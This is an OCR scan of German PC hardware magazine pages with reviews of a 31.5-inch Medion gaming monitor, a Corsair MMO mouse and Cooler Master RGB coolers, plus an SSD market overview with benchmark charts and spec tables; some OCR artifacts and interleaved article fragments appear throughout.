gibt es indes nicht und Titel wie The Witcher 3 las- 
sen sich trotz Remapping nicht mit dem Pro Con- 
troller spielen. Ich jedenfalls lege das Gerát wieder 
zur Seite und stelle fest, dass hier der Hype wieder 
viel größe war als der eigentliche Nutzen. 
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Pixeldürre: Full HD auf 31,5 Zoll 


Ist eine Full-HD-Auflósung auf einem Bildschirm 
mit Diagonale über 31,5 Zoll nicht zu grob? Um 
das zu beurteilen, haben wir den Medion Erazer 
X58426 zum Test einbestellt. 


ur knapp 70 Pixel pro Zoll (ppi) - weniger 
N geht wirklich nicht. Zum Vergleich: Bei 
24,5 Zoll sind es 90 ppi. Wer nur knapp einen 
Meter vor dem Bildschirm sitzt, kann am Medi- 
on-Monitor das Pixelraster deutlich erkennen. 
UHD-verwöhnte Augen würden weinen. Bei der 
Größe des Geräts ist der Abstand aber ohnehin 
etwas größer, sodass Gamer ohne Adleraugen 
nicht nur bei Tetris ein scharfes Bild sehen. 
Von der kuriosen Kombination aus Auflösung 
und Bilddiagonale abgesehen, hat der große 
Medion auch einiges zu bieten. Das Display ist 
gekrümmt, was einen umso mehr ins Bild ein- 
tauchen lässt. Die Bildwiederholrate von 144 Hz 
kann sich sehen lassen. Mit Freesync wird diese 
schon ab 30 Hz dynamisch angepasst. Im Moni- 
tor kommt ein VA-Panel zum Einsatz, das mit ca. 
11 ms einen recht geringen Input Lag aufweist. 
Medion gibt ein Kontrastverhältnis über 3000:1 
an. Hersteller runden hier gerne mal auf, daher 
messen wir stets nach und sind verblüfft, dass 


der tatsächliche Kontrast sogar leicht höher ist. 
Mit ca. 280 cd/m? ist die Maximalhelligkeit nicht 
gerade üppig, aber noch genug. Kleinere Ab- 
züge gibt es in der B-Note: Overdrive ist mit an 
Bord, aber nur recht schwach, sodass Schlieren 
deutlich erkennbar sind. Flexibel ist der Riese 
auch nicht wirklich, da nicht höhenverstellbar 
und allenfalls auf der Vertikalen etwas neigbar. 
Außerdem fehlt in der Ausstattung ein Display- 
port-Kabel, lediglich die für HDMI und DVI lie- 
gen bei. (mc) 


Medion Erazer X58426 


Fazit: Ausstattung und Flexibilitát sind zwar dürftig, dafür 
gibt es hier ein riesiges 144-Hz-Panel mit Freesync zum 
fairen Preis. Nicht vergessen, den Monitor wegen der 
geringen Pixeldichte weit genug wegzustellen! 


Hersteller: Medion 

Web: www.medion.com 

Preis: Ca. € 450,- | Preis-Leistung: Gut 
Ausstattung 1,75 
Eigenschaften | 2,34. 
Leistung 1,58 
www.pcgh.de/preis/1585204 


© Gute Freesync-Range 
© Riesiges gekrümmtes Panel 
© Nur Full-HD-Auflösung 


PCGH-Preisvergleich 
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Corsair Scimitar Pro RGB: Nachtest mit fehlerfreiem Gerät 


Im Test der Ausgabe 04/17 bemängelten wir, dass 
Corsairs MMO-Maus Einstellungen nicht speicherte. 
Beim Austauschmodell ist der Fehler nun behoben. 


n der Marktübersich der letzten PCGH-Ausga- 
be 04/17 machte Corsairs Scimitar Pro RGB 
zunächst einmal mit ihrem Alleinstellungsmerk- 
mal, einem 12-Tasten-Block, der mit Makros be- 


legt und horizontal in seiner Position verschoben 
werden kann (Key-Slider-System) auf sich auf- 
merksam. Doch dieses Feature, das vor allem für 
den MOBA/MMO-Spieler nützlich ist, war nicht 


das einzige Ausstattungs-Highlight der Rechts- 
händermaus. Die Scimitar Pro RGB stellte sich 
auch als echter RGB-Lichtspieler heraus, der über 
vier Beleuchtungszonen verfügt. Für die stehen 
in der sehr umfangreichen und gut bedienba- 
ren Software 12 Effekte nebst Modifikationen 
wie Geschwindigkeit und Intensität bereit (Ein- 
zelheiten: siehe PCGH 04/17 S. 90). Um die per- 
sönlichen Beleuchtungseffekte aber auch selbst 
erstellte Makros sowie Enstellungen bei den Dpi- 
Stufen, der Polling-Rate, der Lift-Off-Distanz, der 
Untergrundkalibrierung und dem Angle-Snap- 


RGB-LED-Kühler von Cooler Master 


Auf der Cebit präsentierte Cooler Master den 
Masterair Pro 4 CPU-Kühler und den Masterfan 
Pro 120 RGB, den ersten Lüfter mit standardisier- 
tem RGB-Anschluss. 


it dem 120-mm-Mittelklasse-CPU-Kühler 

Masterair Pro4 setzt Cooler Master die 
Individualisierungs-Tradition der letzten Neu- 
vorstellung fort. Optionale Top-Cover in ver- 
schiedenen Designs sollen die Möglichkeiten 
von Case Moddern erweitern, in späteren Aus- 
führungen auch mit einer regelbaren, indirek- 
ten RGB-LED-Beleuchtung. 


Dazu passt der neue Masterfan Pro 120 RGB: 
Der einzeln oder später auch auf einer Mas- 
terair-Pro4-Ausführung erhältliche Lüfter kann 
getrennt von der Lüfter-Stromversorgung über 
einem beliebigen RGB-LED-5050-Header ange- 
schlossen werden (die Kabel sind zwecks saube- 
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rer Optik zusammenəgefasst). Diese finden sich 
mittlerweile auf vielen Mainboards, alternativ 
wird Cooler Master einen eigenen Controller 
anbieten. Direkt an der Narbe des Masterfan Pro 
120 RGB selbst kann auch dauerhaft eine rote 
oder blaue Beleuchtung gewählt werden. (to) 


ping auch ohne CUE-Software an anderen PC 
nutzen zu können, spendiert Corsair der Scimitar 
Pro RGB einen internen Speicher für drei Profile. 


Dieser Chip war bei dem in der Marktübersicht 
verwendeten Testmuster defekt, was darin resul- 
tierte, dass alle für die Profile festgelegten Einstel- 
lungen und RGB-Lichttricks am einem PC ohne 
CUE nicht abrufbar waren. Mit dem Ersatzgerät 
konnten wir uns dagegen am Zweitrechner über 
das eingestellte Regenbogenlicht freuen. Das gibt 


(fs) 


S tar Pro RGB 


Fazit: Beim ersten Test wunderten wir uns, dass unser defektes 
Muster Einstellungen nicht speicherte. Der Nachtest bestátigt 
jedoch, dass Corsairs MMO-Maus über dieses sehr nützliche 
Feature verfügt, welches die Ausstattungsnote verbessert. 


eine Aufwertung bei der Ausstattung. 


Hersteller: Corsair 
Web: www.corsair.com 
Preis: Ca. € 90,- | Preis-Leistung: befriedigend 


© Ausstattung 

© Eigenschaften 

9 Leistung 
www.pcgh.de/preis/1558629 


Silent-PC 


In der Ausgabe 01/2017 stellten wir Ihnen das 
Silent-PC-Projekt zum ersten Mal vor. Auf Teil 2 
mussten Sie bisher warten - wir erkláren weshalb. 


er von uns zusammengestellte Silent-PC ist 
Di voll spieletaugliches System, das so leise 
wie möglich agieren soll - nicht nur im Leerlauf, 
sondern auch unter Volllast. Daher entschieden 
wir uns zur Installation einer Wasserkühlung, 
denn nur damit lässt sich eine leistungsfähige 
Grafikkarte wie die von uns eingesetzte Asus 
Strix GTX 1070 OC jederzeit nahezu unhörbar 
kühlen. Leider bemerkten wir nach der Monta- 
ge des Eiswolf-Kühlers, dass der Sitz nicht per- 
fekt und der erzeugte Anpressdruck daher zu 
gering ist. In Zusammenarbeit mit Aquatuning 
und Alphacool ließ sich das Problem allerdings 
beheben, sodass wir zuversichtlich sind, das 
Silent-PC-Projekt in der kommenden Ausgabe 
abschließen zu können. (sw) 
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Die schlechte Nachricht gleich vorneweg: SSDs werden seit letztem Herbst immer teurer. Die gute 


Nachricht: Nicht alle Modelle steigen gleich schnell im Preis. 


s sind schwere Zeiten für Auf- 
ES Flash-Speicher wird seit 
Herbst letzten Jahres immer teurer 
- egal ob SSDs oder RAM-Riegel. 
Dabei waren die Speicherpreise bis 
dahin im stetigen Sinkflug, sodass 
Flash schon dran war, der Magnet- 
festplatte auch noch die letzte Exis- 
tenzberechtigung als Datengrab 
streitig zu machen. Seit mehr als 
einem Jahr gibt es externe SSDs 
mit ebenso großen Speicherplatz, 
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der über das USB-Stick-Niveau he- 
rausgewachsen ist. Per USB 3.1 
oder Thunderbolt 3 ist so manches 
Modell sogar schneller angebun- 
den als eine interne 2,5-Zoll-SSD. 
Preislich waren die externen SSDs 
trotz des Preisverfalls noch lange 
keine Alternative. Dafür sind die 
HDDs viel zu günstig. Auch die 
schnellen Datenprotokolle per 
USB Typ C sind bislang nur in der 
Oberklasse-Technik vertreten - sei 


es Notebooks oder PC-Mainboards. 
Ohnehin ist bei externen Speicher- 
medien die Datenrate zweitrangig, 
meist zählt der Preis pro Gigabyte. 
Und erst recht mit den steigenden 
SSD-Preisen wegen chronischer 
Flash-Knappheit wird die gute alte 
Magnetfestplatte noch lange nicht 
aussterben. Mehr noch: Mit dem 
bald kommenden Optane Memory 
verpasst Intel günstigen Systemen 
mit HDDs einen Zwischenspeicher 


(Cache), der die Geschwindigkeit 
günstig auf SSD-Niveau hievt. 


SATA-Cash-Cows 

Derweilen tut sich kaum etwas bei 
den 2,5-Zoll-SSDs. Die Datenraten 
haben schon langer das SATA-II- 
Protokoll mit 6 GBit/s ausgereizt 
- deutliche Unterschiede sind 
hier bestenfalls mit synthetischen 
Benchmarks festzustellen und 
nicht wirklich in der Praxis, was 
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Zwei Modelle, eine SSD: Bei der WD Blue handelt es sich um die altbekannte Sandisk 
X400. Beide unterscheiden sich nur in den Garantiebedingungen. 
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auch diese Testreihe wieder zeigen 
wird. SATA-SSDs unterscheiden 
sich nur in der B-Note - etwa in 
der Garantieleistung, oder in der 
Ausstattung. Die Hersteller spru- 
deln daher nicht gerade so vor 
neuen SATA-Modellen und lassen 
vielmehr ihre Cash Cows arbeiten. 
Marktführer Samsung etwa ist hier 
mit einer 850 Pro oder 850 Evo 
gut vertreten und schiebt ledig- 
lich die gleiche SSD als M.2-Riegel 
nach. Der einzige Vorteil dieser 
Varianten ist der platzsparendere 
Formfaktor. Sie sind nicht zu ver- 
wechseln mit der PCI-Express-3.0- 
Oberklasse der SSDs, wo sich das 
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M.2-Format mittlerweile durch- 
gesetzt hat. Mittels sogenannten 
HHHL-Adaptern lassen sie sich 
auch an der PCIe-Schnittstelle be- 
treiben, sofern die M.2-Buchse 
am Mainboard fehlt. Die SSD als 
Steckkarte ist ausgestorben bzw. 
nur noch in der Server-Sparte zu 
finden, die den Verbraucher nicht 
interessiert. In der PCIe-Kategorie 
testen wir Modelle, die seit der letz- 
ten Marktübersicht (Heft 11/2016) 
neu erschienen sind. Manche hier 
vorgestellten SATA-Modelle hinge- 
gen sind schon etwas älter - hier 
haben wir die einbestellt, die wir 
bislang noch nicht getestet haben. 


Minimale Kühlung: Die PCI-Express-SSDs aus dem Hause Samsung haben eine wár- 
meleitende Kupferschicht im Aufkleber. 


Datenraten: Deutliche Unterschiede bei PCle 


AS SSD Benchmark, sequenziell 


Samsung SSD 960 Pro (1024 GB) 2204! 2.516 (Basis) 
Samsung SSD 960 Evo (1024 GB) EEE 2.467 (-2 96) 
PNY CS2030 М.2 SSD (240 GB) East Eu 2.436 (3 %) 
Corsair MP500 (480 GB) Lo ШЕШШ 2.399 (-5 %) 
Intel SSD 600p (512 GB) EST 1.192 (-53 %) 
Adata SX8000 (512 GB) [Eti 1.112 (-56 96) 


System: Core i7-4790K @ 4,00 GHz (Stromsparfunkionen aus), Asrock 797 Extreme 6, 8 MB/s 
GiByte DDR3-2133 Bemerkungen: Im sequenziellen Lesen komprimierter Daten teilen Schi: Lesen 
sich die PCle-SSDs in zwei Klassen auf. > Besser 


Datenraten: Kaum Unterschiede bei SATA 


AS SSD Benchmark, sequenziell 


Adata Ultimate 5900 (256 GB) [agg 8 529 (+2 %) 
Corsair Neutron Xti (480 GB) ВЕ 525 (+1 96) 
Corsair Neutron Xti (960 GB) [Xe 528 (+1 96) 
Kingston SSDnow UV400 (480 GB) EX 528 (+1 96) 
Western Digital WD Blue SSD (1.000 GB) 521 (Basis) 
OCZ VX500 (1024 GB) gor: 520 (-0 96) 
Toshiba Q300 Pro (1024 GB) Egg 519 (-0 96) 
Western Digital WD Green SSD (240 GB) EX Es 514 (-1 90) 
Kingston SSDnow UV400 (240 СВ) Egg" 512 (-2 96) 
Western Dig. WD Blue SSD (SATA/M.2) (500 GB) 95; 479 (-8 96) 


System: Core i7-4790K @ 4,00 GHz (Stromsparfunkionen aus), Asrock 797 Extreme 6, 8 MB/s 
GiByte DDR3-2133 Bemerkungen: In sequenziellen Lese- und Schreibraten unterschei- БЕН Lesen 
den sich SATA-SSDs nur gering. » Besser 
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Keine ist schneller: Die Samsung SSD 960 Pro wird in den Datenraten von unserem 


Testsystem gebremst. 


3D Xpoint (sprich: 3D Crosspoint) heißt die 2015 vorgestellte Spei- 
chertechnologie, die den NAND-Flash-Speicher ablösen soll. Die Zellen 
sollen gleichsam schneller und haltbarer sein. 


Ende Márz hat Intel eine Server-SSD mit 3D Xpoint vorgestellt. Für Verbraucher 
entwickelte Intel M.2-Speicher mit 32 und 64 GByte Kapazitát, die als günstiger 
Cache (Kaby-Lake-)Systeme auf HDD-Basis beschleunigen sollen. Die Riegel sollen 
noch dieses Quartal auf den Markt kommen. Geplant sind auch Consumer-SSDs 
deren Erscheinungszeitpunkt Intel jedoch noch nicht näher spezifiziert hat. 
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Samsung SSD 960 Pro: Die Leis- 
tungsstárkste aller SSDs. Im letzten 
Herbst hat Samsung das Nonplus- 
ultra der SSDs neu definiert. Eine 
Leserate über 3,5 GB/s war bislang 
unerreicht. Diese Spitze wird auch 
nur unter idealen Bedingungen er- 
reicht - unser Testsystem brachte 
die 960 Pro nur knapp über 3 GB/s. 
Der Benchmark AS SSD malträtiert 
die Speicher mit komprimierten 
Daten und liefert somit einen pra- 
xisnäheren Wert, da die meisten 
Datenmengen bereits komprimiert 
sind. Die 960 Pro bietet aber mehr 
als nur ultimative Datenraten: Meh- 
rere — Verschlüsselungstechniken, 
eine hohe garantierte Datendurch- 
satzmenge und fünf Jahre Garantie 
macht sie für den professionellen 
Einsatz interessant, aber auch ent- 
sprechend teuer. 

Samsung SSD 960 Preis-Leis- 
tungs-Oberklasse. Die 960 Evo ist 
für all jene gedacht, denen die 
Pro-Version zu teuer ist, also bei 
gleicher Kapazität über 100 Euro 
sparen móchten. Die Garantieleis- 
tungen sind daher nicht ganz so üp- 
pig und beim NAND-Flash handelt 
essichum billigere und theoretisch 
nicht ganz so haltbare TLC-Chips 
(triple level cell). Ansonsten ist 
eine 960 Evo der großen Schwes- 
ter recht ebenbürtig: Lese- und 
Schreibleistung ist nur geringfügig 
niedriger. Die Differenz dürfte ein 
Nutzer in der Praxis nicht merken. 
Dazu muss gesagt werden, dass der 
Unterschied zu den SATA-SSDs bei 
weitem nicht so spürbar ist wie 
der zwischen SSD und HDD. Auch 
den Vergleich zu Modellen anderer 
Hersteller muss die 960 Evo nicht 
scheuen. In den meisten Test liegt 
sie vor anderen PCIe-SSDs und 


0: 


ist oft auch noch günstiger; eine 
Kampfansage Samsungs. 


air MP500: High-End-SSD mal 
nicht aus Asien. Andere Hersteller 
haben es merklich schwer, ihre Ni- 
sche zu finden, während Samsung 
von der Top- bis zur Preiskampf- 
klasse wirklich überall aggressiv 
mitmischt. Nichtsdestotrotz gelingt 
auch Corsair eine gute SSD, die mit 
den koreanischen Speicherriegeln 
mithalten kann: Die MP500 bietet 
Leseraten auf Samsung-Niveau, 
schreibt aber etwas langsamer. Da 
in der Praxis meist gelesen und 
selten viel kopiert wird, fällt die 
Differenz kaum ins Gewicht. Das 


merken wir auch bei unseren Pra- 
xistests: In der Bilderverarbeitung 
hängt die MP500 die Samsungs 
ab. Im viel wichtigeren Kopiertest 
aber ist etwa eine 960 Evo fünf Se- 
kunden schneller. Während diese 
über TLC-NAND verfügt, verbaut 
Corsair den schnelleren MLC-Spei- 
cher (multi level cell), der nur zwei 
statt drei Bit pro Zelle fassen muss. 
Wohl deswegen garantiert Corsair 
auch eine recht hohe Datendurch- 
satzmenge. Aktuell ist die MP500 
allerdings noch relativ teuer. 

PNY CS2030: Amerikanischer Under- 
dog. PNY mit Sitz an der US-Ost- 
küste bietet mit der CS2030 eine 
solide Mittelklasse-SSD unter den 
PCIe-Modellen. Im Datenblatt fällt 
die hohe MTBF-Angabe (mean time 
before failure) über 2 Mio. Stunden 
auf. Die Samsungs etwa sind ledig- 
lich mit 1,5 Mio. angegeben. Dabei 
handelt es sich um die mittlere Aus- 
fallzeit - in der Praxis wird diese 
aber oft um ein Vielfaches über- 
troffen. Mit guten Datenraten kann 
die CS2030 mit den SSDs bekannte- 
rer Hersteller mithalten. Das bestä- 
tigt sie auch in unseren Praxistests: 
Im Kopieren ist nur eine 960 Pro 
schneller. Auch auf der PNY kommt 
der 2-Bit-MLC-Flash zum Einsatz 


Adata SX8000: Gute Garantie, mä- 
Віде Leistung. Bereits unter den 
SATA-SSDs mit mehreren Modellen 
vertreten, mischt Adata mit der 
SX8000 auch bei den PCIe-SSDs mit 
- bislang das einzige PCIe-Modell. 
Sowohl Benchmarks als auch Pra- 
xistests bescheren ihr aber besten- 
falls einen Platz im unteren Mittel- 


feld, was die Performance angeht. 
Dafür aber kann sich die Garantie 
von fünf Jahren sehen lassen. Auch 
hier ist MLC- statt TLC-Flash-Spei- 
cher verbaut. Dennoch kann sie 
preislich mit einer 960 Evo nicht 
mithalten. 


Intel 600p: Das untere Ende der 
Oberklasse. Ganz ungeniert scheint 
Intel die 600p anzubieten, die 
kaum schneller ist als eine SATA- 
SSD, dafür aber auch kaum teurer. 
Es ist also das Discounter-Modell 
für all jene, die ihren M.2-Slot mit 
einer NVMe-SSD bestücken wollen, 
aber nicht mehr als einen SATA- 
Preis zahlen móchten. Trotzdem 
bietet Intel satte fünf Jahre Ga- 
rantie und mit der Toolbox eine 
Diagnose- und Wartungssoftware. 
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1.024 GB 1.024 GB 480 GB 240 GB 512 GB 512 GB 
SOLID STATE 
DRIVES 

Produktinfo/-name SSD 960 Pro CS2030 M.2 SSD SX8000 SSD 600p 
Modellbezeichnung MZ-V6P1T0BW MZ-V6E1T0BW CSSD-F480GBMP500 M280CS2030-240-RB ASX8000NP-512GM-C SSDPEKKW512G7X1 
Hersteller/Webseite Samsung (samsung.com/de) Samsung (samsung.com/de) Corsair (corsair.com) PNY (pny.com) Adata (adata.com) Intel (intel.com) 
| PCGH-Preisvergleih ЕЕН 1187 |www.pcgh.de/preis/1511201 — www.pcgh.de/preis/1552578 — |www.pcgh.de/preis/1571194 — |www.pcgh.de/preis/1532201 |www.pcgh.de/preis/1491162 
Preis/Preis-Leistungs-Verhältnis | Са. € 605,-/befriedigend Ca. € 460,-/gut Ca. € 300,-/befriedigend Ca. € 140,-/befriedigend Ca. € 235,-/befriedigend Ca. € 180,-/gut 
Preis pro Gbyte € 0,63/GiByte € 0,48/GiByte € 0,67/GiByte € 0,59/GiByte € 0,53/GiByte € 0,38/GiByte 
MTBF*/Haltbarkeit 1.500.000 Stunden/800 TB 1.500.000 Stunden/400 TB -1698 TB 2.000.000 Stunden/- TB 2.000.000 Stunden/- TB 1.600.000 Stunden/288 TB 
Firmware Testmuster 1B60CXP7 1B6QCXP7 E7FM02.1 CS203020 C2.0.6 PSF100C 
SSD-Controller Samsung Polaris Samsung Polaris Phison PS5007-E7 Phison PS5007-E7 Silicon Motion SM2260 Silicon Motion SM2260 
Flash-Chips MLC-VNAND (48 Lagen) TLC-VNAND (48 Lagen) MLC (15nm, Toshiba/SanDisk) |MLC (15nm, Toshiba/SanDisk) |3D-NAND MLC Nanya TLC 32 Layer 
DRAM-Cache 1 GB LPDDR3 1 GB LPDDR3 512MB LPDDR3 - - 512 MB LPDDR3 
Formatierte Kapazität (GiByte) |953,87 953,87 447,13 238,47 447,13 476,94 
Herstellergarantie 5 Jahre 3 Jahre 3 Jahre Jahre 3 Jahre 5 Jahre 5 Jahre 
Zubehör/Besonderheiten SSD Magician/NVMe-Treiber |550 Magician/NVMe-Treiber |Corsair SSD Toolbox - - Intel SSD Toolbox 
AS SSD (Seq. Lesen, Seq. 2516 MB/s, 2204 MB/s 2467 MB/s, 2007 MB/s 2399 MB/s, 1322 MB/s 2436 MB/s, 1231 MB/s 1112 MB/s, 1110 MB/s 1192 MB/s, 551 MB/s 
Schreiben) 
Schnittstelle 4x PCI -Express 3.0 4x PCI -Express 3.0 4x PCI -Express 3.0 4x PCI -Express 3.0 4x PCI -Express 3.0 4x PCI -Express 3.0 

_ |МАМО-Тур MLC TLC MLC MLC MLC TLC 

E Trim-Unterstützung (Garbage Ja Ja Ja Ja Ja Nein 
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| 
Es gibt sie noch, die SSDs mit ordentlich Zubehör: Адата legt der Ultimate SU900 
einen 3,5-Zoll-Einbaurahmen, Schrauben und einen Adapter auf 9 mm bei. 


Da OCZ mittlerweile den Japanern von Toshiba gehört, gibt es auch unter diesen 
beiden Marken zwei Klon-Modelle. 


Bei einer SSD aus der 
Kampfpreis-Sparte ist 
selbst die Verpackung 
minimalistisch, sodass 
sie an einer Stange im 
Discounter nebenan 
hängen könnte. Hier 
wird auf jegliches Zube- 
hör verzichtet. 
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Toshiba 0300 Pro: Leistungsfähi- 
ge Metallplatte. In der Klasse der 
SATA-SSDs gibt es nicht mehr viel 
über Leistungssprünge zu berich- 
ten, wie die AS-SSD-Benchmark- 
werte zeigen. In der Praxis gibt es 
hier und da dennoch einige Unter- 
schiede: So schaufelt die Toshiba 
Q300 Pro unsere 10 GiByte etwa 
um ein Drittel schneller als so man- 
che Mittelklasse-SSD. Dass es sich 
bei der Q300 Pro um das Flagschiff- 
modell handelt, ist schon von au- 
fsen ersichtlich: Die Platine steckt 
in einem soliden Metallgehäuse, 
das nicht nur robuster ist als die üb- 
lichen Plastikkästen, sondern auch 
besser Wärme ableitet. Wir haben 
einen Blick ins Gehäuse gewagt 
und waren positiv von den Wärme- 
leitpads überrascht, welche die Di- 
stanz zwischen Chips und Gehäuse 
überbrücken. Die Leistung dürfte 
das nicht unbedingt beeinflussen - 
das beweist aber, dass Toshiba hier 
nicht an Details spart. Daher kom- 
men hier auch haltbare MLC-Chips 
zum Einsatz. Toshiba spendiert der 
Q300 Pro außerdem ein SSD-Tool 
sowie eine Cloning-Software. Ein- 
ziger Wermutstropfen ist der Preis, 
denn Toshiba lässt sich die Qualität 
durchaus gut bezahlen. 


OCZ VX500: Metall-Klon vom glei- 
chen Hersteller. Da Toshiba mittler- 
weile OCZ aufgekauft hat und sich 
die VX500 äußerlich nur durch 
das Etikett von der Q300 Pro un- 
terscheidet, liegt es nahe, das auch 
die Innereien gleich sind. Nicht 
unüblich bei PC-Komponenten. 
Ein Blick ins Innere bestätigt: Bei- 
de SSDs sind technisch identisch. 
Obige Ausführungen gelten daher 
für die VX500 gleichermaßen. Ei- 
nige Unterschiede gibt es dennoch: 
Der deutlichste ist der aktuelle Stra- 
fsenpreis, das OCZ-Modell ist knapp 
zehn Prozent günstiger. Die Garan- 
tiedauer ist die gleiche, nur bei der 
Datendurchsatzmenge garantiert 
Toshiba etwas mehr. Das SSD-Tool 
ist gleich, vom Namen abgesehen, 
und statt einer herstellereigenen 
Cloning-Software gibt es eine Li- 
zenz von Acronis True Image. Bei- 
den Modellen liegt zudem ein Ad- 
apter von 7 mm auf 9 mm bei. 


Adata Ultimate SU900: Ein Blumen- 
strauß an Dreingaben. Viele Model- 
le werden ohne jegliches Zubehör 
geliefert, um auf dem hart um- 
kämpften Markt auch den letzten 


Cent herauszuschinden. Die Adata 
Ultimate SU900 hingegen über- 
rascht mit einer üppigen Ausstat- 
tung. So ist es das einzige Modell, 
dem ein 3,5-Zoll-Einbaurahmen 
beiliegt. Ultimativ ist auch die Ga- 
rantieleistung: Fünf Jahre sind bei 
SATA-SSDs zwar nichts Besonderes, 
wohl aber die garantierte Schreib- 
leistung über 800 TBW bei einer 
256-GB-SSD. Meist sind die Daten- 
raten bei Modellen mit niedriger 
Kapazität etwas geringer als bei 
solchen mit großer, aber nicht so 
bei der SU900: Sowohl im AS-SSD- 
Benchmark als auch in den Praxis- 
tests erreicht sie gute Werte und 
hebt sich auch in der Performance 
von der Preis-Leistungs-Klasse ab. 
Ebenso aber auch im Preis: Aktuell 
ist sie mit über 50 Cent pro GiByte 
wirklich kein Schnäppchen. 


Corsair Neutron XTi: Etwas hoher 
Stromhunger beim Schreiben. In der 
Oberklasse der SATA-SSDs spielt 
auch die Corsair Neutron XTi mit, 
die wir in zwei Kapazitäten testen 
konnten. Von den bisher beschrie- 
benen Modellen unterscheidet sie 
sich durch den DRAM-Cache. Auf 
die Praxis hat dieser aber kaum 
Auswirkungen, das beweist die 
Leistung der Modelle ohne Cache. 
In der Kopierleistung hängt die 
Neutron XTi mit dem MLC-Flash 
die günstigeren TLC-Modelle noch 
immer deutlich ab, wenn auch hier 
Toshiba und OCZ noch schneller 
sind. Nichtsdestotrotz handelt es 
sich bei der Neutron XTi um ein 
Modell für anspruchsvolle Anwen- 
der, die etwa mit Trim, DevSleep, 
oder SMART-Daten alle Funktion 
einer zeitgemäßen Top-SSD bietet. 
Nicht ganz so aktuell wirkt die Cor- 
sair SSD Toolbox, deren Oberfläche 
einen Charme von Windows XP 
versprüht. Aber auf den Funktions- 
umfang kommt es an - hier man- 
gelt es dem Tool an nichts. Die Neu- 
tron XTi schluckt etwas viel Strom 
beim Schreiben: Wir messen knapp 
4,5 Watt - manch anderes Modell 
begnügt sich hier mit der Hälfte. 
Da eine SSD aber die meiste Zeit 
ruht und weitaus öfter gelesen als 
geschrieben wird, fällt der Strom- 
hunger nicht allzu gravierend ins 
Gewicht. Der Verbrauch ist eher 
für den Betrieb im Notebook rele- 
vant - bei einer Gaming-Maschine 
am Schreibtisch kommt es auf ein 
oder zwei Watt mehr nicht wirklich 
an. 
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Western Digital WD Blue SSD: Eine 
alte Bekannte. Von einer Ausnah- 
me 2010 abgesehen, war die Fest- 
plattenmarke Western Digital bis 
Herbst letzten Jahres nicht auf dem 
SSD-Markt vertreten. Die kaliforni- 
sche Speicherfirma kaufte im Som- 
mer 2016 mal eben Sandisk auf und 
brachte daraufhin die WD Blue auf 
den Markt. Entsprechend der No- 
menklatur bei den Festplatten soll 
sich auch die SSD als Allrounder 
oder Preis-Leistungs-Kompromiss 
präsentieren. Nicht nur die Sandisk- 
Übernahme, auch das Datenblatt 
verrät, dass in der WD Blue San- 
disk-Chips zum Einsatz kommen. 
Genauer gesagt ist die Hardware 
identisch mit einer Sandisk X400 - 
gleicher 15nm-TLC-Flash, gleicher 
Marvell-Controller. Einziger Unter- 
schied ist, dass dieser im Falle der 
X400 Verschlüsselung erlaubt, was 
die Firmware der WD Blue nicht 
vorsieht. Da die Verschlüsselung 
aber wohl kaum ein Privatanwen- 
der nutzt, handelt es sich um ein 
vernachlässigbares Detail. Was die 
Leistung angeht, wird die WD Blue 
ihrem zugeschriebenem Image ge- 
recht: Solide Ergebnisse sowohl in 
den Benchmarks als auch in den 
Praxistests, wenngleich letztere 
den Unterschied zu den besseren, 
teureren Modellen verdeutlichen. 
Wer aber einige Sekunden mehr 
Zeit hat, wenn mehrere Gigabytes 
hin- und hergeschaufelt werden, 
muss dafür bei der Anschaffung 
weitaus weniger auf den Tisch 
legen. Eine WD Blue ist übrigens 
auch als M.2-SATA-Version erhält- 
lich, deren Ausstattung, Leistung 
und Preis sich so gut wie nicht vom 
2,5-Zoll-Modell unterscheidet. 


Western Digital WD Green: Grün, 
günstig und genügsam im Stromver- 
brauch. Mit der WD Green recycelt 
Western Digital ein weiteres Mo- 
dell, nämlich die Sandisk Plus. Wie 
diese ist eine WD Green nur in Ka- 
pazitäten über 120 GByte und 240 
GByte verfügbar und bedient damit 
bestenfalls das Einsteigersegment. 
Sie eignet sich etwa für günstige 
Notebooks, wo es weniger auf die 
Leistung ankommt. Vielmehr hat 
der geringe Stromverbrauch wegen 
längerer Akkulaufzeit Priorität. Die 
WD Green erfüllt voll und ganz die- 
sen Zweck: Mit nur 1,9 Watt beim 
Lesen und nur 1,5 Watt beim Sch- 
reiben ist sie das Modell mit der 
niedrigsten Stromaufnahme dieser 
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Testreihe. Da aber SSDs allgemein 
im Ruhezustand recht genügsam 
sind, ist sie kein Geheimtipp zum 
Stromsparen, zumal in Sachen Ka- 
pazität und Leistung Kompromisse 
in Kauf genommen werden müs- 
sen. Die Leistung fällt im Test nicht 
ganz so schlecht wie erwartet aus: 
Kurioserweise ist die WD Green so- 
gar die schnellste SSD in der Bilder- 
stapelverarbeitung. Hier hängt sie 
sogar die PCIe-SSDs ab, aber meh- 
rere Durchläufe bestätigen den nur 
guten Praxiswert. Im reinen Daten- 
schaufeln ist die grüne SSD jedoch 
nur knapp halb so schnell wie 
SATA-SSDs der Oberklasse. Dafür 
ist sie schlicht nicht gemacht, wo- 
für auch die recht niedrige garan- 
tierte Datendurchsatzrate von nur 
80 TBW spricht. Zum Vergleich: 
WD bietet mit der Blue" bei glei- 
cher Kapazität 200 TBW. Auch was 
den Preis pro GiByte angeht, sind 
Modelle mit höheren Kapazitäten 
durchaus günstiger. Die WD Green 
ist daher kein Preis-Leistungs-Knal- 
ler, sondern ein Nischenprodukt. 


Kingston SSDnow UV400: Günstiger 
sind nur Magnetfestplatten. Schon 
die spärliche Verpackung der SSD- 
now UV400 ohne jegliches Zube- 
hör spricht für ein Modell aus der 
Kampfpreis-Klasse. Sowohl beim 
Preis als auch einigen Details des 
Datenblatts ähnelt sie der WD Blue: 
Der gleiche Controller kommt 
zum Einsatz. In den Praxiswerten 
schneidet die WD Blue etwas bes- 
ser ab, was ihr letztlich auch zur 
besseren Wertung verhilft. Die 
Testwerte zeigen aber auch, dass 
die Kingston nicht die rote Laterne 
der Testreihe hält: Im direkten Ver- 
gleich ist sie im Mittelfeld zu finden 
und bietet gewohnte SATA-Leis- 
tung. Auch wenn die 240-GByte- 
Version merklich schlechter ab- 
schneidet, die außerdem im Preis 
pro GiB deutlich teurer ist. 


Fazit Hardware 


Weniger für mehr. 

NAND-Speicher wird knapp und da- 
her immer teurer. Zur Cebit ließ so 
mancher Hersteller verlauten, dass ein 
Sinkflug frühestens im Sommer wieder 
stattfindet. Daher empfiehlt es sich, im 
PCGH-Preisvergleich die Preisentwick- 
lung eines Modells zu prüfen, bevor 
man zuschlägt. Denn nicht alle Preise 
steigen stetig. 


PCle-SSDs in der Praxis 


